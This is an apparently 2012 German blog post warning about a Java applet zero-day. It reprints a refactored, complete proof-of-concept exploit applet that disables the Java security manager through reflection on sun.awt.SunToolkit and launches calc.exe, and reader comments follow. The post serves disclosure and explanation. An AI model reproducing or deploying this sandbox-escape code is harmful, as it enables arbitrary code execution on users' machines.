Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter
- http://www.heise.de/security/artikel/Java-0-Day-unter-der-Lupe-1676764.html
- http://www.heise.de/newsticker/meldung/BSI-warnt-vor-hochkritischer-Java-Luecke-1677249.html
- http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
- http://blog.fireeye.com/research/2012/08/java-zero-day-first-outbreak.html
Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:
package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.*; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { private static final long serialVersionUID = 1L; private void disableSecurity() throws Exception { Permissions localPermissions = new Permissions(); localPermissions.add( new AllPermission() ); CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} ); ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) }; AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains ); Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } ); expr1.execute(); Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } ); expr2.execute(); Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] ); ((Field) expr2.getValue()).set( localStatement, localAccessControlContext ); localStatement.execute(); } @Override public void init() { try { disableSecurity(); Runtime.getRuntime().exec( "calc.exe" ).waitFor(); } catch ( Throwable t ) { t.printStackTrace(); } } @Override public void paint( Graphics g ) { g.drawString( "Loading", 50, 25 ); } }
Warum gibt es Java für Applets überhaupt noch? Bei so vielen Sicherheitslücken sollte Oracle sich langsam überlegen, Applets per default zu deaktivieren oder vielleicht sogar Applets aus der J2SE raus hauen. Selbst Adobe ist inzwischen Einsichtig geworden, dass der Flash Player in absehbarer Zeit eingestellt werden muss. Die Ausführung von fremdem Code aus Websiten auf dem Client ist nun mal ein Sicherheitsrisiko, das wir nicht brauchen.
@Chris:
Aus dem selben Grund kann man auch JavaScript (oder sogar HTML) „raus hauen“.
Im Grunde „fremder Code“ der zur „Ausführung“ kommt (in geeigneten Laufzeitumgebungen).
Viel Wichtiger wäre es, die Bugreports ernst zu nehmen und zeitnah darauf zu reagieren. Eine Reaktionszeit von April bis August ist für eine kritische Lücke eindeutig zu lange.